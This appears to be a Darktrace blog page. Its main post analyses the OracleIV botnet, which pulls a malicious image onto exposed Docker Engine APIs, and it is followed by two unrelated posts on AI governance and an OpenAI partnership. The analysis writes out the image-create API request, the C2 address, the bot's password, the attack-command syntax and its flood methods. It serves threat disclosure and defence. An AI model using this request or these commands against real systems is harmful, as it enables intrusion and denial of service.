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November 13, 2023

OracleIV: A dockerized DDoS botnet

OracleIV is a DDoS botnet exploiting misconfigured Docker Engine APIs. It delivers a malicious Python ELF executable within a Docker container ("oracleiv_latest") to perform various DoS attacks. The botnet communicates with a C2 server for commands, demonstrating attackers' continued use of exposed Docker instances.
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Nate Bill
Threat Researcher
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13
Nov 2023

Introduction: OracleIV

Researchers from Cado Security Labs (now part of Darktrace) discovered a novel campaign targeting publicly exposed instances of the Docker Engine API.

Attackers are exploiting this misconfiguration to deliver a malicious Docker container, built from an image named "oracleiv_latest" and containing Python malware compiled as an ELF executable. The malware itself acts as a Distributed Denial of Service (DDoS) bot agent, capable of conducting Denial of Service (DoS) attacks via a number of methods.

It’s not the first time the Docker Engine API has been targeted by attackers. This method of initial access has been increasing in recent years and is often used to deliver cryptojacking malware [1]. Inadvertent exposure of the Docker Engine API occurs frequently enough that several unrelated campaigns have been observed scanning for it. 

This should come as no surprise, given the move to microservice-driven architectures by many software teams. Once a valid endpoint is discovered, it’s trivial to pull a malicious image and launch a container from it to carry out any conceivable objective. Hosting the malicious container in Docker Hub, Docker’s container image library, streamlines this process even further.

Initial access

In keeping with other attacks of this kind, initial access typically begins with a HTTP POST request to the /images/create endpoint of Docker’s API. This effectively runs a docker pull command on the host to retrieve the specified image from Docker Hub. A follow-up container start command is then used to spawn a container from the pulled image. 

An example of the image create command used in the OracleIV command can be seen below:

POST /v1.43/images/create?
tag=latest&fromImage=robbertignacio328832/oracleiv_latest 

Malicious Docker hub image

As can be seen in the Docker API command above, the attacker retrieves an image named oracleiv_latest which was uploaded to Docker Hub. This image was still live at the time of writing and had over 3,000 pulls. Furthermore, the image itself appeared to be undergoing regular iteration, with the most recent changes pushed only 3 days prior to the writing of this blog.

The user also added the description Mysql image for docker to the image’s Docker Hub page, likely to make it seem more innocuous.

Examining the image layers reveals commands used by the attacker to retrieve their malicious payload - named oracle.sh, despite being an ELF executable - and bake it into the resulting image.

Image layer RUN command to retrieve malicious payload
Figure 1: Image layer RUN command to retrieve malicious payload

The image also includes additional wget commands to retrieve a copy of XMRig and an associated miner configuration file.

Image layer RUN command to retrieve xmrig miner
Figure 2: Image layer RUN command to retrieve xmrig miner
Image layer RUN command to retrieve miner configuration file
Figure 3: Image layer RUN command to retrieve miner configuration file

It is worth noting that Cado researchers did not observe any mining performed by this malicious container, but with these files baked into the image it would certainly be possible.

Static analysis

Since the bundled version of XMRig is both unused and a vanilla release of the miner, this section will focus on analysis of the oracle.sh executable embedded in the malicious container.

Static analysis of this executable revealed a 64-bit, statically linked ELF, with debug information intact. Further investigation led to the discovery of a number of functions with CyFunction in the name, confirming that the malware is Python code compiled with Cython.

Embedded Cython functions
Figure 4: Embedded Cython functions

The attacker code is relatively concise, the majority of it is dedicated to the different DoS methods present. The following functions were identified:

  • bot.main
  • bot.init_socket
  • bot.checksum
  • bot.register_ssl
  • bot.register_httpget
  • bot.register_slow
  • bot.register_five
  • bot.register_vse
  • bot.register_udp
  • bot.register_udp_pps
  • bot.register_ovh

Functions with the register_ prefix correspond to DoS attack methods, the details of which will be discussed in the following section.

Dynamic analysis

The bot connects back to a Command-and-Control server (C2) at 46.166.185[.]231 on TCP port 40320. It then performs primitive authentication, where the bot supplies the C2 with basic information about its environment in addition to a hardcoded password.

 : client hello from zombie! : X86 : key: b'bjN0ZzM0cnAwd24zZA==' : os: linux

The key decodes to “n3tg34rp0wn3d”. Supplying an incorrect key causes the C2 to reply with a string of expletive language, followed by the connection being terminated.

Following successful authentication, the C2 will continuously send “routine ping, greetz Oracle IV”. This is likely due to an implementation quirk, where many novice programmers new to socket programming will implement the blocking receive operation in a loop and require constant input to keep the loop going.

Cado Security Labs has performed monitoring of the botnet activity and has observed the botnet being used to DDoS a number of targets, with the operator preferring to use a UDP based flood in addition to an SSL based flood.

Botnet commands

C2 commands used to initiate the different DoS attacks take the following form:

<attack type> <target IP/domain> <attack duration> <rate> <target port>

For example, to conduct an SSL DoS attack on the website example.com for 30 seconds, a rate of 30, and on port 80, the C2 server would send the following command:

ssl example.com 30 30 80

Cado Security Labs were able to trick a botnet agent into connecting to a mimic C2 server instead of the real one and issued commands to observe the capabilities of the botnet. The botnet has the following DDoS capabilities:

UDP:

  • Performs a UDP flood with 40,000-byte packets
  • These far exceed the threshold and consequently get fragmented. This will create an additional computational overhead on both the target and source due to the reassembly of fragments, however it is unclear if this is intentional.

UDP_PPS:

  • Seems non-functional, when the command was issued no activity was observed.

SSL:

  • Opens a TCP connection, sends a large amount of data, and then closes. This process then repeats. The Cado dummy target server rejected all the fake requests with an error 400, so it would appear that the attack aims at flooding the target rather than exploiting some protocol specific function.
Tcpdump output for SSL Dos method
Figure 5: Tcpdump output for SSL DoS method

SYN:

  • It was anticipated that this would be a SYN flood, however the observed behavior is identical to SSL.

HTTPGET:

  • Seems non-functional, when the command was issued no activity was observed.

SLOW:

  • This is a “slowloris” style attack. The agent opens up many connections to the server and continuously sends small amounts of data to keep the connection open.

FIVE:

  • This is a UDP flood with 18-byte packets. Likely the packets are a part of the FiveM server protocol, and designed to cause a denial of service a FiveM server

VSE:

  • This is a UDP flood with 20-byte packets. Similar to FIVE, this seems protocol specific to Valve source engine.

OVH:

  • This is a UDP flood with 8-byte packets, designed to circumvent OVH’s DDoS protection.

Conclusion

OracleIV demonstrates that attackers are still intent on leveraging misconfigured Docker Engine API deployments as a means of initial access for a variety of campaigns. The portability that containerization brings allows malicious payloads to be executed in a deterministic manner across Docker hosts, regardless of the configuration of the host itself. 

Whilst OracleIV is not technically a supply chain attack, users of Docker Hub should be aware that malicious container images do indeed exist in Docker’s image library. Cado researchers reported the malicious user behind OracleIV to Docker.

Despite this, users of Docker Hub are encouraged to perform periodic assessments of the images they are pulling from the registry, to ensure that they have not been polluted with malicious code. 

Consistent with other attacks reliant on a misconfigured internet-facing service (e.g. Jupyter, Redis etc), Cado researchers strongly urge users of these services to periodically review their exposure and implement network defenses accordingly.

Indicators of compromise (IoCs)

File name SHA256

oracle.sh (embedded in container) 5a76c55342173cbce7d1638caf29ff0cfa5a9b2253db9853e881b129fded59fb

xmrig (embedded in container) 20a0864cb7dac55c184bd86e45a6e0acbd4bb19aa29840b824d369de710b6152

config.json (embedded in container) 776c6ef3e9e74719948bdc15067f3ea77a0a1eb52319ca1678d871d280ab395c

IP addresses

46[.]166[.]185[.]231

Docker image

robbertignacio328832/oracleiv_latest:latest

References

  1. https://blog.aquasec.com/threat-alert-anatomy-of-silentbobs-cloud-attack
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Nate Bill
Threat Researcher

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September 17, 2026

The Problem of Re-defining Human Value in the Agentic Age

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Newsfeeds are constantly informing us about the rapid escalation of agentic AI systems. These systems move far beyond simple machine-based computations, and  the focused, defined and bounded assistance that most AI systems started out as.

The next evolution of AI will harness the agentic properties of orchestration, automation, and heightened value-chains in IT, taking on the burden of workflow management, not just workflow delivery.

In nearly all of these instances, promises are made such as ‘this will free up human time’ or ‘this will allow people to focus on higher-order strategy’. However that message is delivered, one thing is clear: in ceding the orchestration and management of work to increasingly sophisticated AI agents and agentic systems, human value will be elevated to a particular and specific layer: the ability to judge its outputs.  As AI takes on more tasks, humans should be able to focus on a higher level of governance; making sure the decisions that AI offers us are ethical, responsible and worthwhile.  

But there are two major problems with that approach.

This blog discusses the problem of how Agentic systems are re-shaping how we review information, where we fit in, and when we make decisions.  It also discusses the problem of how the increased flow of confident, generated information affects the way we make judgement.  This blog considers how human judgement needs to adapt, and how a behavioral defense approach – using techniques pioneered by Darktrace – can help us do that.

The challenge of knowing where human judgement belongs

As we confer more automated decision-making to agentic systems, it might look increasingly less like ‘granting permissions’, and more like ‘surrendering authority’.  

The judgement layer for AI-generated work is not a fixed boundary. We have become used to the idea of a ‘human in the loop’ (HITL) and, historically, relationships between humans and IT systems were reasonably clear and bounded.  Computer and software systems were programmed to carry out certain tasks or automated functions, and humans could control the gates and decision points where actions were undertaken. Even across highly complex computational workflows, human interaction was a controllable node within the process; we were able to configure and regulate. But in the agentic age, where that human interaction sits, and what it can influence shifts every time AI systems are granted autonomy.  

This leads us to the first problem: if humans are moving themselves (or are being moved) into the ‘judgement’ part of the value chain, exactly where and when do we exercise that judgement?  

Humans are no longer the sole shepherds of computer-based or software-controlled outputs.  We are at times at least one step further (and slower) behind the new agentic shepherds.  We might also be blind to what they are doing.  Not only might we be removed and blind to the actions of our AI shepherds, but with the challenge of unknown, unapproved AI systems operating beyond our control, humans might not even know that our work is being shepherded by an AI at all.  Simply put, with the advent of greater levels of autonomy and orchestration, humans are at risk of not even knowing where to apply our newly-extended powers of strategic judgement.

Shadow AI – the use of unapproved AI systems or processes – is a growing threat to the role of effective governance and oversight. Shadow AI isn't just the AI you can't see. Its the AI you already know about being used in an unapproved way. The ability to generate effective oversight of the AI systems you use (or that are used on your behalf) will be increasingly important to ensure that human judgement in the AI value chain is effective, and deliberately placed.

The problem of what makes good judgement

The second problem lies in how flawed human judgement can be.  Humans are historically, notoriously, and, sometimes dangerously, unreliable when it comes to exercising judgement.  Humans are prone to the worst kinds of bias, the seduction of malign influence, and the sometimes-overwhelming urge to succeed. AI has long had a known flaw of operating with sycophancy, providing outputs that tend to agree with or flatter the human user.  But as AI grows ever more effective, there is a risk of both hyper-enablement (where humans increasingly and knowingly enable AI despite potential harm), as well as the greater risk of suggestion. Both of these aspects could skew the newly-elevated input of human judgement.

Imagine a highly competent AI system that has just orchestrated and managed a dizzying array of processes and workflows.  The AI is designed to present the human decision-maker with recommendations; based on analysis, comparison and other programmed factors.  This is where the human judgement layer is enabled.  But what if that judgement is summarily diffused by an AI-based recommendation that emulates the decision, provides plausible but unattractive alternatives, then suggests (or, worse, directs) the human end-user to take a particular course of action.

The risk here is that you are given a recommendation, tailored to your preferences (which the AI has learned, or which you have divulged), and which appears to make perfect sense.  It appears to be a well-weighted recommendation, with sound arguments that tap into our inherent biases or inclinations so that a specific decision-path is followed. With the growth of agentic systems specifically designed to match user profiles (from Cowork agents to ‘digital twin’ models), the likelihood of agentic influence could badly skew human judgement or, at the least, devalue the proposition that humans are taking a higher-layer of strategic control over AI-based decisions.

If AI convincingly recommends something that may be problematic, it can be difficult to discern both accurate data, and the context required to make the right judgement.

Given the two problems described above, the job of exercising valuable human judgement in the agentic age can draw down to these two questions:

  • When should humans intervene in the agentic process?  
  • How can we make the best possible judgement calls?

What humans contribute that AI cannot

For all the flaws that make human judgement unreliable, people have the edge over even the most sophisticated and powerful AI systems when it comes to issues such as ethics and social context.  An AI system can, with startling granularity, rank the value of adopting a new business proposal: offering predictive metrics on costs, returns, market value, time-to-deliver operations, conformance with legal registers, etc.  But it can’t tell if the business proposal is ethically sound, or if the business venture will potentially affect groups outside of the analyzed proposal. It can’t tell you if the CEO has a ‘bad feeling’ about this effort.  It can’t tell you if this is the right thing to do.  

The ability to add social context, balance complex interpersonal dynamics, understand nuance, and to go beyond what seems economically reasonable is where human judgement can add value.  

Human judgement is difficult to encapsulate in metrics. And the way we train our development may need to adapt too. Rather than building up a gradual, experiential knowledge base, we should think about training the skill of judgement itself; especially for an agentic age.

How behavioral security strengthens AI governance

If this all feels like a vicious circle (‘I need AI help to make good judgements’ / ‘AI can twist what I need to judge’) it needn’t be. The key to this is having a defense-in-depth approach, with tools that can actually help.

This is precisely where behavioral security becomes important. The complex and nuanced way that humans exercise judgement is often rooted in our ability to recognize behavior that doesn't look right. We may not always be able to articulate it immediately, but we can often identify when an action, recommendation, or outcome feels inconsistent with the context around it. As AI systems take on more responsibility across the decision chain, preserving that ability to recognize meaningful deviations becomes increasingly important.

Darktrace’s / SECURE AI is designed to do exactly that. It applies behavioral security to AI ecosystems, helping organizations understand how people, AI tools, identities, and agents interact across the business. By learning the patterns of normal AI usage and surfacing activity that deviates from those patterns, it provides security teams with the context needed to investigate risk, understand unusual behavior, and make informed governance decisions. Rather than relying solely on predefined rules or assumptions, this behavioral understanding helps organizations distinguish between expected AI activity and behavior that warrants closer scrutiny.

This matters because we are already in an era of information overload. If humans are expected to elevate their value through strategic judgement, the ability to do this without being overwhelmed by data (good or bad) will be critical.  

We need the ability to discern when we're being misled by AI, and whether our judgement calls are being made on the basis of accurate, contextual information. Darktrace / SECURE AI provides that additional layer of defensive security for activity we cannot easily see. Whether it is suspected Shadow AI or skewed recommendations, the net result is a protected organization, where users can more effectively use AI to make positive judgements.

For those where that judgement is a critical skill (both individuals, as well as those working in security teams), improving our metacognition - the ability to understand information in a broader context - will supercharge the value of human judgement. When those judgements are grounded in context rather than assumptions we have better information to make sound decisions.

Conclusion

Human judgement is a skill that is honed over time and experience.  Darktrace’s / SECURE AI employs the same principles, but at machine-speed. Rather than influencing or directing, Darktrace / SECURE AI offers AI-enabled assurance; providing human-based judgement with the right context to make a balanced decision.  

What we judge can be valued by the legitimacy of its outputs. For AI, those outputs are valued on the speed and accuracy of the information provided.  Increasingly for humans, the value of our outputs will be based on the validity of our judgement, and how we justify our decisions in ways that engineer confidence.  

Humans often know more than we can express, while AI is prone to expressing more than it truly understands. Humans can bridge the context AI often fails to appreciate. When that judgement is supported by relevant, impartial AI systems, this is the future space where good AI governance will be exercised.

Discover Darktrace / SECURE AI.

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About the author
Jason Lusted
AI Governance Advisor

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September 4, 2026

Darktrace Advances Incident Investigation and AI-Agent Security with OpenAI Daybreak Models

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Earlier this year, Darktrace joined OpenAI’s Daybreak Defense Network to explore how their cyber capabilities can be integrated within Darktrace products and services to transform how security teams move from signal to action.

At the heart of this work is Darktrace's behavioral understanding of customer environments and identification of complex security incidents, combined with OpenAI models that can add context to help explain why an incident matters and its potential impact on the business. By bringing these capabilities into defensive workflows security teams already use, the goal is to give defenders not just greater visibility, but the context and guidance they need to act with confidence.

Since joining the program, we've been working with OpenAI to explore how these capabilities can address specific security challenges for defenders.

The problem we're solving

Attackers continue to change how they operate, including by using AI to increase the speed and scale of some techniques. Security teams are already managing a large volume of alerts, and the question isn't just what's happening, but how it could affect the organization. Even when an incident is fully investigated and correlated, technical severity alone doesn't tell a security team how much it actually matters to the business. That same challenge extends to internal AI adoption. As organizations adopt more AI systems and agents, security teams need visibility into their behavior, access and activity, along with the broader business context needed to identify and investigate potential risk.

Darktrace's Adaptive AI™ builds a detailed, organization-specific picture of what's normal for each environment, and uses that picture to investigate threats and identify complex security activity across domains. OpenAI's models can build on Darktrace's correlated, technically prioritized incidents by adding context that can help defenders understand what may be at stake.

What we're building

Our work is focused on two areas: supporting security investigation and response, and helping defenders identify risky behavior across enterprise AI systems and agents.

The first aligns Darktrace's behavioral understanding with OpenAI models to support  security investigation and prioritization. Darktrace's Adaptive AI continuously learns the unique patterns of normal behavior within each customer it protects, creating a deep, organization-specific understanding of its digital estate. When unusual activity emerges, OpenAI's models can draw on that context to help analysts investigate the incident, understand its significance and assess potential business consequences — reducing the need to manually assemble context from fragmented signals.

Second, we are exploring how these capabilities can support AI-agent and runtime security through Darktrace / SECURE AI™. OpenAI’s Daybreak models can build on the detections and visibility Darktrace / SECURE AI provides, connecting signals across a customer's environment and help defenders identify potentially risky behavior involving AI systems and agents. Activity that might appear isolated can instead be connected with related signals, helping defenders investigate the broader context and determine appropriate remediation.

Darktrace brings deep cybersecurity expertise, an evolving understanding of each customer's environment, and AI-driven identification of threats across the digital estate. Through the Daybreak Defense Network, Darktrace is exploring how OpenAI models can augment those capabilities in defensive security workflows — supporting incident investigation and response and improving visibility into AI-agent and runtime risk.

These capabilities are still in development, and we're excited to continue building on this work.

To learn more about how Darktrace continues to innovate to meet today's most pressing security challenges, register for our upcoming launch broadcast here.

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About the author
Dr. Tim Bazalgette
Chief AI Officer, Darktrace
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